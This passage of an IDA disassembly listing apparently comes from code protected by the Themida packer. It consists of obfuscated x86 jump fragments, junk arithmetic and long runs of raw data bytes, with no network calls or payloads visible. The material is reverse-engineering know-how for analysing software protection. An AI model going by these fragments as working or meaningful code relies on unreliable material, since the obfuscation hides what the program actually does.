		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		add	esi, eax
		pop	eax
		jmp	loc_547649
; ---------------------------------------------------------------------------
aSc_0		db '[C',7,0
		align 2
		dw 0E781h
		dd 79A55F8Fh, 0AF0EF81h, 0E78117ABh, 18C72A89h,	57E9DFF7h
		dd 0BB000035h, 19581006h, 47685752h, 8B13C81Dh,	0C481243Ch
		dd 4, 0B4FC781h, 575506AFh, 5DEA895Dh, 0FC2815Fh, 81A321BBh
		dd 7C6A98C3h, 81D32935h, 7C6A98EBh, 24148B35h, 4C481h
		dd 0D8290000h, 83241C8Bh, 0D80104C4h, 2C61BE56h, 0F0015BBFh
		dd 355C685Eh, 3C890000h, 46B0BF24h, 862D6BAFh, 0E94F515Dh
		dd 49EEh, 0C28014B2h, 75DFE97Ah, 8B660000h, 5456240Ch
		dd 0E389535Eh, 4C381h, 0EB830000h, 5988E904h, 55F0000h
		dd 2, 0FFFDCDE9h, 0ACC581FFh, 0E9485021h, 49CFh
; ---------------------------------------------------------------------------


loc_544040:				; CODE XREF: Themida_:00547D77j
		shr	ebp, 1
		shl	ebp, 2
		and	ebp, 0D0C2C8Bh
		xor	ebp, 438E2EB6h
		sub	eax, ebp
		pop	ebp
		jmp	loc_54767E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24048B04h, 8F04C483h, 248B2404h, 0C83B6624h,	3882E99Ch
		dd 815B0000h, 0B57D06EBh, 0EB815903h, 0B9314Dh,	0EC81C301h
		dd 4, 0BA241489h, 0B9314Dh, 15E9D301h, 8100004Bh, 401224F2h
		dd 5AD30122h, 9F86E9h
		db 0
; ---------------------------------------------------------------------------


loc_5440A5:				; CODE XREF: Themida_:00547536j
		add	edi, 4
		jmp	loc_54F00E
; ---------------------------------------------------------------------------
		dd 59CF015Bh, 295FFB29h, 1C8B405Fh, 4C48124h, 0FF000000h
		dd 34FF2434h, 7EE95824h, 0B200007Dh, 6D18E937h,	0C4830000h
		dd 4BB0E904h, 0CF300000h, 240C8B66h, 0B042E9h
		db 0
; ---------------------------------------------------------------------------


loc_5440E9:				; CODE XREF: Themida_:0054A6DCj
		push	ebx
		mov	ebx, 55171DE6h
		shr	ebx, 8
		push	3B90h
		jmp	loc_54A373
; ---------------------------------------------------------------------------
		dd 881EB551h, 0C0FE59E8h, 3404E8C0h, 2E8C02Eh, 410EE9h
		db 0
; ---------------------------------------------------------------------------


loc_544111:				; CODE XREF: Themida_:00543243j
		add	esp, 4
		sub	eax, 2E0363F7h
		jmp	loc_54878B
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0FA685C24h, 8900005Dh, 0BD55240Ch, 44307FA0h, 0F112E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544136:				; CODE XREF: Themida_:00547151j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54B90A
; ---------------------------------------------------------------------------
		dd 0D05BDE30h, 1C680E6h, 0F4885066h, 6AE9D4F6h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544157:				; CODE XREF: Themida_:0054322Dj
		add	bl, al
		sub	bl, 0D8h
		jmp	loc_54B7C3
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
		dd 0B60F6624h, 9C5166C8h, 0FFEFF4E9h, 4C381FFh,	81000000h
		dd 4ECh, 242C8900h, 4BDh, 5DEB2900h, 7574E9h, 244C3100h
		dd 5E1EE904h, 0FF510000h, 0E9042474h, 960Ah, 8324148Bh
		dd 0C48304C4h, 0A4D6E904h, 81470000h, 0EAB801C7h, 0FB8953A3h
		dd 6BE9D889h, 8800009Bh, 3774E9CFh, 0E7890000h,	4C781h
		dd 0EF810000h, 4, 5C243C87h, 0E9242489h, 15CBh,	24048B66h
		dd 6B5368h, 241C8900h, 8A77E9h,	4C48300h, 4EC81h, 84E90000h
		dd 33000058h, 0E95C241Ch, 9932h, 241CF766h, 56C8E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544212:				; CODE XREF: Themida_:0054B8ACj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, 85577FB2h
		and	eax, ecx
		jmp	loc_54A6A1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 5AE18104h, 0E908C37Ch, 5C06h
; ---------------------------------------------------------------------------


loc_544240:				; CODE XREF: Themida_:00545165j
		pop	eax
		add	bl, al
		add	bl, 5Ah
		sub	esp, 2
		mov	[esp], ax
		push	edx
		mov	dh, 1Bh
		push	ecx
		mov	cl, dh
		mov	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54C8C3
; ---------------------------------------------------------------------------
aCsvp		db 'Cv',0
		db 0
; ---------------------------------------------------------------------------


loc_54426D:				; CODE XREF: Themida_:005486EEj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F006
; ---------------------------------------------------------------------------
		db 1
aSdo		db 'o',0
		align 2


loc_544286:				; CODE XREF: Themida_:00543187j
		mov	esi, 2
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		mov	cl, 7Dh
		add	al, 6Ch
		add	al, cl
		sub	al, 6Ch
		mov	cx, [esp]
		jmp	loc_5474A8
; ---------------------------------------------------------------------------
		db 56h,	68h, 0A3h
		dd 0E950481Dh, 2BCh, 8B240433h,	8A682424h, 89000007h, 6DE9242Ch
		dd 66000028h, 8124148Bh, 2C4h, 665D6600h, 3166D731h, 0D73166FAh
		dd 243C8766h, 0FFEE80E9h, 242C8BFFh, 8304C483h,	143304C2h
		dd 24143124h, 1000E9h, 241C8900h, 0FFFC9EE9h, 155CB9FFh
		dd 0B2BD7C0Dh, 31205420h, 0E82959CDh, 5D2434FFh, 4C481h
		dd 0D8290000h, 1AC268h,	241C8900h, 0F5745BBh, 0C3814B09h
		dd 0B810DE5h, 5130EB81h, 0EB81D80Fh, 0E027DE0Bh, 72146A2Dh
		dd 2035E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544346:				; CODE XREF: Themida_:0054AB9Cj
		add	eax, ecx
		sub	eax, 19733968h
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_547A00
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048966h, 0FFEDF8E9h, 53DEF6FFh, 0EB800CB3h, 0FDCAE9D4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54437A:				; CODE XREF: Themida_:0054B36Cj
		push	7E5h
		mov	[esp], edi
		mov	edi, 3BF20448h
		xor	[esp+4], edi
		pop	edi
		jmp	loc_549C62
; ---------------------------------------------------------------------------
		db 58h,	51h, 57h
		dd 0CDBBFh, 53B85032h, 29615933h, 0EF8158C7h, 0D0A6D986h
		dd 764DE9h, 0F5815D00h,	36EA46F3h, 5DE8895Fh, 0AEFEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5443BD:				; CODE XREF: Themida_:005459F7j
		add	edi, ecx
		sub	edi, 4F447449h
		sub	edi, 2D6414A5h
		pop	ecx
		push	edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		jmp	loc_545BD8
; ---------------------------------------------------------------------------


loc_5443DA:				; CODE XREF: Themida_:005460CEj
		mov	[esp], ecx
		push	ebx
		push	edi
		push	119F6525h
		pop	edi
		shl	edi, 7
		shr	edi, 1
		sub	edi, 521A3232h
		mov	ebx, edi
		pop	edi
		shl	ebx, 5
		xor	ebx, 3B230A80h
		xor	ebx, 3F04664Fh
		and	ebx, 26061427h
		and	ebx, 21A57196h
		push	esi
		mov	esi, 4C950069h
		jmp	loc_54D6D4
; ---------------------------------------------------------------------------
		db 0BDh, 4, 18h
aCssZ		db 'Sz',0
		dw 8900h
		dd 4C281E2h, 83000000h,	148704C2h, 54535C24h, 0FE9515Bh
		dd 81000057h, 4C4h, 24343300h, 3DEFE9h,	4EC8100h, 0E9000000h
dword_544450	dd 8CDBh		; DATA XREF: ___:off_43CCF4o
; ---------------------------------------------------------------------------


loc_544454:				; CODE XREF: Themida_:0054C1B7j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_543C1D
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0C7810000h, 5A4A0DB2h, 0EF81C701h, 5A4A0DB2h, 74FF5758h
		dd 3C8B0424h, 4C48324h,	820EE9h, 574ABB00h, 0CB811E80h
		dd 6AD002AEh, 57ECEB81h, 0D8017ED0h, 2404335Bh,	0E9240431h
		dd 2A55h, 52EE81ADh, 0E954590Eh, 2012h,	6B8BC781h, 0EF015E7Eh
		dd 6B8BEF81h, 335D5E7Eh, 74E9243Ch, 89000005h, 99B82404h
		dd 0F7493123h, 0F74040D0h, 62B32DD8h, 0BD555398h, 0A673F1Fh
		dd 2C8BE801h, 4C48324h,	48BC201h, 4C48124h, 50000000h
		dd 5864E9h
		db 0
; ---------------------------------------------------------------------------


loc_5444F9:				; CODE XREF: Themida_:005474ABj
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	bl, 44h
		jmp	loc_54DAA7
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 8
		dd 6E7C14Fh, 8103EFC1h,	0F547F4EFh, 5FF90106h, 31240C33h
		dd 0C33240Ch, 2BD5E924h, 0EA010000h, 74FF525Dh,	0E95A0424h
		dd 0FFFFFBDEh, 623CE781h, 1BE93F22h, 0FF00002Dh, 57592434h
		dd 66D2E954h, 34FF0000h, 24048B24h, 4C481h, 89520000h
		dd 4C281E2h, 0E9000000h, 38F3h,	4EEC15Eh, 0C4E9DEF7h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54457B:				; CODE XREF: Themida_:0054B042j
		sub	ecx, 55DDE2EEh
		sub	esi, ecx
		pop	ecx
		jmp	loc_54B34C
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 411589Dh, 0CEE99C24h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544597:				; CODE XREF: Themida_:0054B648j
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		sub	[edi+24h], ebx
		jmp	loc_545DE9
; ---------------------------------------------------------------------------
		db 55h
		dd 0D05A0EBDh, 43E95301h, 810000AAh, 691EE9C5h,	81D5015Dh
		dd 691EE9EDh, 24148B5Dh, 4C481h, 52570000h, 4357FDBAh
		dd 0F2814A5Fh, 36F80086h, 8353E9h, 44F5BB00h, 0DA016FCDh
		dd 0E9F2015Bh, 4F03h, 0B8240489h, 2, 6CEE981h, 0E9812BA8h
		dd 5B2450Bh, 150FE9h, 4C28100h,	81000000h, 4EAh, 24143300h
		dd 33241431h, 18E92414h, 5A000013h, 4C7815Fh, 51000000h
		dd 7A9BE9h, 81E18900h, 4C1h, 4C18100h, 87000000h, 555C240Ch
		dd 8E2DF7BDh, 2E5C12Fh,	0D7F7FD87h, 0A8E9FD87h,	0FF00004Dh
		dd 0B0E92434h, 8100000Eh, 4C7h,	4C78300h, 31243C33h, 3C33243Ch
		dd 24248B24h, 518E9h, 29AABF00h, 0FD31049Ah, 81243C8Bh
		dd 4C4h, 0FFC58100h, 81FFFFFFh,	0DA5DB3C5h, 5DEA31FEh
		dd 0E95AD301h, 894h, 5A2434FFh,	8104C483h, 4C4h, 5D596800h
		dd 14890000h, 0E95A5424h, 676Ch
; ---------------------------------------------------------------------------


loc_5446B8:				; CODE XREF: Themida_:0054CC96j
		add	edi, 4
		add	edi, 4
		jmp	loc_54B8BE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Dh, 87000000h,	248B243Ch, 48B6624h, 69486824h
		dd 2C890000h, 815D5424h, 4C5h, 18E95000h, 81FFFFF5h, 4C6h
		dd 68575000h, 61983F97h, 0C9BD555Fh, 0F730613Eh, 9D30E9D5h
		dd 51530000h, 2B9h, 63F8E900h, 48F0000h, 24248B24h, 240C8966h
		dd 0C8B60F66h, 0E99C5166h, 0FFFFEA35h, 4C48358h, 997EE9h
		dd 240CFE00h, 0EA23E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544742:				; CODE XREF: Themida_:0054D9EFj
		mov	[esp], ax
		jmp	loc_543165
; ---------------------------------------------------------------------------
		db 53h
		dd 0B02F0EBBh, 5B5F5306h, 0C781DFF7h, 75AF705Eh, 3D7BB850h
		dd 0D8F73B8Eh, 0E902E0C1h, 52D8h, 5DFE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544772:				; CODE XREF: Themida_:00545CA7j
		pop	edi
		jmp	loc_54CF9A
; ---------------------------------------------------------------------------


loc_544778:				; CODE XREF: Themida_:0054D0B3j
		push	ebp
		mov	ebp, 4E051BE3h
		jmp	loc_548AC4
; ---------------------------------------------------------------------------
		db 59h
		dd 2474FF50h, 2434FF04h, 8324048Bh, 0C48104C4h,	4, 8B24048Fh
		dd 4D22424h, 0BEE99C24h, 0B9FFFFE9h, 4,	8759C829h, 87E92404h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5447B7:				; CODE XREF: Themida_:00549CE4j
		pop	eax
		shl	bh, 2
		or	bh, 0Dh
		inc	bh
		add	bh, 3Eh
		mov	ch, bh
		pop	ebx
		not	ch
		dec	ch
		xor	ch, 88h
		sub	ch, 0F4h
		push	edx
		mov	dh, 3Dh
		inc	dh
		inc	dh
		sub	dh, 5Bh
		jmp	loc_545B7F
; ---------------------------------------------------------------------------
		db 1
		dd 0A929E9F0h, 0FB890000h, 8B07E9h, 77ED8100h, 5B395027h
		dd 31242C33h, 2C33242Ch, 34FF5C24h, 24048B24h, 842FE9h
		dd 0C4815E00h, 4, 0EC81D6F7h, 4, 50240489h, 50E9E089h
		dd 87FFFFEAh, 0D1874AD1h, 2CAEC981h, 0B85009C3h, 54216CAh
		dd 0E952D0F7h, 76FCh, 0E940478Fh, 0FFFFE921h
; ---------------------------------------------------------------------------


loc_544844:				; CODE XREF: Themida_:00545BDBj
		mov	esp, [esp]
		mov	[esp], ebp
		push	1
		pop	ebp
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_54F062
; ---------------------------------------------------------------------------
aWsZ		db 'W',0Ah
		db 'Z',0
		align 10h


loc_544860:				; CODE XREF: Themida_:00544DEBj
		not	ebp
		sub	esp, 4
		jmp	loc_54AC99
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 241C895Ch, 0C381E389h, 4, 2BE56h, 0F3010000h, 241C875Eh
		dd 0F624248Bh, 0B60F66F9h, 0B66866CCh, 0C89663Eh, 0B60F6624h
		dd 9C5166C8h, 0FFE8C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5448A5:				; CODE XREF: Themida_:00545B8Cj
		push	ebx
		push	eax
		mov	eax, 33A615AEh
		or	eax, 25167F33h
		sub	eax, 0E5AD408Dh
		mov	ebx, eax
		pop	eax
		jmp	loc_54A062
; ---------------------------------------------------------------------------


loc_5448BE:				; CODE XREF: Themida_:0054F01Bj
		push	esp
		pop	eax
		jmp	loc_54EB97
; ---------------------------------------------------------------------------


loc_5448C5:				; CODE XREF: Themida_:0054AEA3j
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_54DA94
; ---------------------------------------------------------------------------
		db 5Dh,	8Bh, 34h
		dd 4EC8324h, 54243489h,	587EE9h, 24048F00h, 4C8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5448F1:				; CODE XREF: Themida_:0054A973j
		mov	ebp, 77E65E3Dh
		xor	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_549008
; ---------------------------------------------------------------------------


loc_544902:				; CODE XREF: Themida_:0054A668j
		push	small 59F6h
		mov	[esp], dx
		push	ecx
		mov	cl, 0F1h
		xor	cl, 0EEh
		mov	dl, cl
		pop	ecx
		jmp	loc_54E6A0
; ---------------------------------------------------------------------------
		dd 7E3C143h, 0FAB8F381h, 0DA29C827h, 83241C8Bh,	36E904C4h
		dd 81FFFFE8h, 4ECh, 241C8900h, 0D3F656B3h, 8007E3C0h, 0EB8094E3h
		dd 80DBF6CEh, 0D800CEC3h, 53D8005Bh, 911E9h, 48B6600h
		dd 50F6E924h, 0C5800000h, 0E9E83073h, 666Eh, 68C8B70Fh
		dd 4D88h, 28C8E9h, 4C48100h, 1000000h, 0D7295DEFh, 2E9768h
		dd 24148900h, 84255CBAh, 36F2E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544992:				; CODE XREF: Themida_:0054D366j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 448C1BEBh
		sub	ecx, 1B5204EDh
		sub	ecx, ebp
		jmp	loc_5496C9
; ---------------------------------------------------------------------------


loc_5449BB:				; CODE XREF: Themida_:0054A07Aj
		pop	ebx
		push	ebp
		mov	ebp, 5BD7A3Fh
		or	ebp, 2D0D7F12h
		jmp	loc_54B734
; ---------------------------------------------------------------------------
aXkBMU1Sqr	db 'x;ج1[R',0
		align 10h
		dd 0F181D9F7h, 0BF833CA7h, 8159C829h, 0CC5E47EBh, 95C38135h
		dd 81359014h, 593E98C3h, 81C3294Bh, 593E98EBh, 95BA524Bh
		dd 29359014h, 2434FFD3h, 0A69EE95Ah, 0BA520000h, 58F973B9h
		dd 815AD629h, 840E6AC6h, 0E9FE0110h, 6BB2h, 5B2434FFh
		dd 4C481h, 68E90000h, 31000060h, 3C33243Ch, 24248B24h
		dd 2424D366h, 0E717E99Ch, 0C481FFFFh, 4, 951FE9h, 0E9555B00h
		dd 3931h, 0F3842C7h, 0E956B443h, 3F12h,	0CB86D9F6h, 0A4F4E952h
		dd 0C6010000h, 5DADEE81h, 0FAE9066Ch, 0F70000A1h, 0FA3540D0h
		dd 1EF9FBFh, 0BA5258C6h, 2, 0FFE6F3E9h,	0E6C7E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544A9E:				; CODE XREF: Themida_:00548B72j
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 76AD7B01h
		mov	esi, 89528500h
		sub	esi, 18A53734h
		sub	esi, 1B0335D0h
		jmp	loc_54E0AA
; ---------------------------------------------------------------------------
		db 81h
		dd 66B360C1h, 59CF89E7h, 0FE4E9h, 0E9D00100h, 46FCh, 0E9243C33h
		dd 9580h, 5BDE0159h, 4C681h, 11E90000h,	81000050h, 4C5h
		dd 4BB5300h, 81000000h,	502777C5h, 0D1ED8139h, 0E947460Bh
		dd 0FFFFF76Bh, 0EC83E189h, 976AE904h, 0BA520000h, 71AE7086h
		dd 148BD029h, 85BFE924h, 9CBA0000h, 8130175Ah, 8B2840C2h
		dd 70C2811Ah, 8176950Fh, 8C16B1EAh, 42FAE930h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544B4A:				; CODE XREF: Themida_:0054C7DEj
		shr	esi, 1
		not	esi
		xor	esi, 0DEDEC8E3h
		xor	ecx, esi
		jmp	loc_54B8A6
; ---------------------------------------------------------------------------
		db 0ACh
		dd 5153D830h, 0C0A0B050h, 0E0C006E0h, 46B0403h,	4C0FE10h
		dd 58C58817h, 885EED80h, 240C8BEFh, 2D50E9h, 0B60F6600h
		dd 0E08950CCh, 44F9E9h,	2C68100h, 56000000h, 42474FFh
		dd 24048F5Eh, 0F36E9h, 24348900h, 801867BEh, 0F7FE8714h
		dd 81FE87D7h, 665FB4C6h, 8F1E970h, 0ED810000h, 281C3D9Dh
		dd 0C581FD01h, 281C3D9Dh, 0E9EA015Fh, 0FFFFF715h
; ---------------------------------------------------------------------------


loc_544BD0:				; CODE XREF: Themida_:0054D339j
		mov	esi, [esp]
		add	esp, 4
		xor	[esp+4], ecx
		push	dword ptr [esp]
		jmp	loc_54C23B
; ---------------------------------------------------------------------------
aFzsbb		db 'fZ顡',0
		align 4
aRKIXsk		db '',8,'-:ĉX<',0
		align 4
		dd 6AACBD55h, 0C5811675h, 69EB1319h, 0E581D5F7h, 5BEA7E52h
		dd 6A4DCD81h, 0F5812090h, 19651498h, 2911BE56h,	0F5315FF2h
		dd 907EE9h
		db 0
; ---------------------------------------------------------------------------


loc_544C29:				; CODE XREF: Themida_:0054B140j
		add	eax, ebp
		jmp	loc_549D0A
; ---------------------------------------------------------------------------
		dd 358DE381h, 0EB814C55h, 0C151480h, 815BDA01h,	2C2h, 24143300h
		dd 33241431h, 248B2414h, 48B6624h, 7BE95624h, 0F7FFFFEAh
		dd 74C981D9h, 815A244Dh, 0F8B9C0E9h, 5F8EE995h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544C6E:				; CODE XREF: Themida_:0054C6CDj
		mov	edi, 4
		add	esi, edi
		jmp	loc_5487C4
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 5159665Bh, 4EC81h, 7BE90000h, 68FFFFECh, 0EFDh, 81242489h
		dd 42404h, 34FF0000h, 36E95D24h, 5A000047h, 8B2434FFh
		dd 0C4812414h, 4, 5304C483h, 0C5461BBBh, 69C3814Fh, 0E93C5210h
		dd 0FFFFFF6Ch, 91F9E95Ah, 2C8B0000h, 4C48324h, 1230E281h
		dd 0BCE96369h, 5DFFFFF3h, 5608EBC1h, 1FC5E9h
		db 0
; ---------------------------------------------------------------------------


loc_544CE5:				; CODE XREF: Themida_:0054D251j
		pop	esp
		jmp	loc_543165
; ---------------------------------------------------------------------------
		db 53h
		dd 241C8B54h, 5004C483h, 3A7D6857h, 815F33A5h, 0E249C2F7h
		dd 0BBF78123h, 89104773h, 0F2E95FF8h, 68000047h, 7479h
		dd 0E9242489h, 790Bh, 405h, 0CDE95500h,	8900006Dh, 4C681E6h
		dd 52000000h, 684D7ABAh, 72D4E905h, 68500000h, 5ABD2495h
		dd 3175E9h, 86CE8100h, 53597B4Ah, 7D98E9h, 59545100h, 3286B850h
		dd 5BE9194Ch, 0AC000052h, 4EC81h, 1C890000h, 4EC8124h
		dd 89000000h, 58E92414h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544D77:				; CODE XREF: Themida_:0054A720j
		inc	edi
		push	0
		sub	[esp], edi
		mov	edi, [esp]
		add	esp, 4
		shr	edi, 7
		push	esi
		mov	esi, 0
		sub	esi, edi
		jmp	loc_545C6A
; ---------------------------------------------------------------------------
		db 68h,	47h, 0Eh
		dd 2C890000h, 0F7E95724h, 81000093h, 0E812F2EEh, 50E95B06h
		dd 5A00005Fh, 9AE9DFF7h, 81000095h, 5E3353F2h, 49E9511Ah
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544DC7:				; CODE XREF: Themida_:0054EAF1j
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 609F5920h
		or	ecx, 3D4762D2h
		push	ebp
		mov	ebp, 605F6FF1h
		shr	ebp, 2
		jmp	loc_544860
; ---------------------------------------------------------------------------
		dd 0EA80EA00h, 0D2C280DBh, 3E2C059h, 49B45053h,	0FE15EC80h
		dd 3DF480C4h, 8058E388h, 0CB80CECBh, 5E3C082h, 85E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_544E19:				; CODE XREF: Themida_:0054DE14j
		pop	edi
		jmp	loc_5473FE
; ---------------------------------------------------------------------------
aZsN		db 'ZN',0
		dd 91EF8100h, 68AF7FBBh, 7, 0E9240C89h,	5780h, 4C6815Ah
		dd 87000000h, 0D35C2434h, 0EFE92424h, 5E000055h, 4C681h
		dd 0F4680000h, 8900007Dh, 0E9E9242Ch, 0FF00007Bh, 5A042474h
		dd 5C24048Fh, 2404FF66h, 0E2F3E99Ch, 248BFFFFh,	0E2EBE924h
		dd 0C181FFFFh, 2, 5C240C87h, 92BDE9h, 0F8B700h,	0EE805AF7h
		dd 0E8BDE925h, 0F581FFFFh, 76853C5Fh, 40C7ED81h, 0A683D1Ah
		dd 89000047h, 95BF243Ch, 81767D23h, 4220C0EFh, 0CF814F78h
		dd 1F375E5Fh, 9325E9h, 2434FF00h, 4C4835Fh, 4EC81h, 3C890000h
		dd 2BF24h, 0FB010000h, 210CE9h
		db 0
; ---------------------------------------------------------------------------


loc_544EDD:				; CODE XREF: Themida_:00547CE9j
		or	eax, eax
		jz	loc_545DEF
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 448C1BEBh
		add	[esp+4], esi
		jmp	loc_54D362
; ---------------------------------------------------------------------------


loc_544EFC:				; CODE XREF: Themida_:0054EA31j
		mov	ebp, 4
		sub	ecx, 487F21E4h
		jmp	loc_54D23A
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 530DB624h, 92E9F788h, 0BD000056h
		dd 4, 835DEA01h, 0E95202C2h, 0FFFFFF2Fh, 1AC4C381h, 0C3012B1Eh
		dd 1AC4EB81h, 0EB812B1Eh
		db 0A6h, 1
word_544F42	dw 5E1Ch		; DATA XREF: ___:off_435718o
aUsnv		db 'UNV',0
		align 2


loc_544F4A:				; CODE XREF: Themida_:005474C2j
		sub	esi, eax
		pop	eax
		add	esi, 0B5A4E2B0h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	3CC5h
		jmp	loc_54A717
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5514E924h, 0EC830000h, 0E681E904h, 0EF81FFFFh, 790016B4h
		dd 5438E9h, 23E4BF00h, 0FB014050h, 0E774E95Fh, 8B66FFFFh
		dd 8952240Ch, 4C281E2h,	81000000h, 4EAh, 24148700h, 242C895Ch
		dd 0EC81E589h, 4, 0B8240489h, 4, 6858C501h, 7B98h, 0E9243C89h
		dd 7BE9h, 875FFD01h, 248B242Ch,	24048B24h, 59C7E9h, 0E9C12900h
		dd 9BDDh, 172FE955h, 8B660000h,	0B6E9240Ch
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544FEF:				; CODE XREF: Themida_:00545C65j
		mov	bl, dh
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 28h
		jmp	loc_545E54
; ---------------------------------------------------------------------------
		dw 0F788h
		dd 0D6E9h, 93C78100h, 8173F434h, 0E24D50EFh, 3CF7817Ch
		dd 1408434h, 243C8BFBh,	4C481h,	21E90000h, 87000027h, 555C2414h
		dd 0C5815D54h, 4, 0E904C583h, 6683h
; ---------------------------------------------------------------------------


loc_545044:				; CODE XREF: Themida_:0054682Aj
		xchg	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_546B84
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0F7h
		dd 337A6268h, 0EF81DFF7h, 43E05140h, 655BEF81h,	0BE560738h
		dd 49EF4747h, 45F1EE81h, 0DEF719D9h, 0C4C5EE81h, 0F7216A00h
		dd 0A8F7815Eh, 9795B61h, 0E8C15FF8h, 129D0503h,	0C581F860h
		dd 28D86A64h, 0ED81C501h, 28D86A64h, 8324048Bh,	2C3304C4h
		dd 242C3124h, 21FBE9h, 0EC835A00h, 242C8904h, 9CCE9h, 4C78100h
		dd 81000000h, 4ECh, 9D83E900h, 90680000h, 89000035h, 4832424h
		dd 53590424h, 8658E9h
		db 0
; ---------------------------------------------------------------------------


loc_5450DD:				; CODE XREF: Themida_:005452A3j
		push	ebp
		jmp	loc_54B95D
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0EC81EA04h, 4, 50240C89h, 2B1C3B4h, 7B13E9h,	48B5A00h
		dd 0E0895024h, 405h, 40500h, 4870000h, 0B9E95C24h, 0FF0000A2h
		dd 669D1C77h, 2414D359h, 0E043E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545122:				; CODE XREF: Themida_:0054E376j
		inc	ebp
		neg	ebp
		neg	ebp
		xor	ebp, 36940952h
		sub	ebp, 7EE1503Ah
		add	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ch, 1Eh
		xor	ch, 37h
		sub	ch, 0DAh
		xor	ch, 0E2h
		sub	ch, 92h
		sub	bl, ch
		pop	ecx
		push	eax
		mov	ah, 0DEh
		shl	ah, 3
		shl	ah, 6
		not	ah
		add	ah, 5Bh
		sub	bl, ah
		jmp	loc_544240
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 264C32A7h, 148BD589h, 0F7FBE924h, 7168FFFFh,	89000026h
		dd 4B82404h, 81000000h,	4A107DC1h, 81C10127h, 4A107DE9h
		dd 24048B27h, 6E91E9h, 24048100h, 4, 4BE5659h, 0E9000000h
		dd 9E70h, 114CE81h, 0F6810C94h,	6ED60350h, 348BF701h, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 2C7835Ch, 31243C33h
		dd 3C33243Ch, 24248B24h, 24048B66h, 5906E9h, 0BD665500h
		dd 0E4E94E52h, 0FF00004Bh, 0E9582434h, 6271h, 0BB53DEF7h
		dd 234E4D70h, 295BDE01h, 0EB835EF3h, 8EBC1FFh, 0C15DEB81h
		dd 0BD2DFD86h, 290FE506h, 8A9BE9D8h, 3C870000h,	24248B24h
		dd 5667E9h, 0E9FD0000h,	33FBh, 171768h,	242C8900h, 6900BE56h
		dd 0C6812DE0h, 4784C1C4h, 9FCFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54524D:				; CODE XREF: Themida_:00543475j
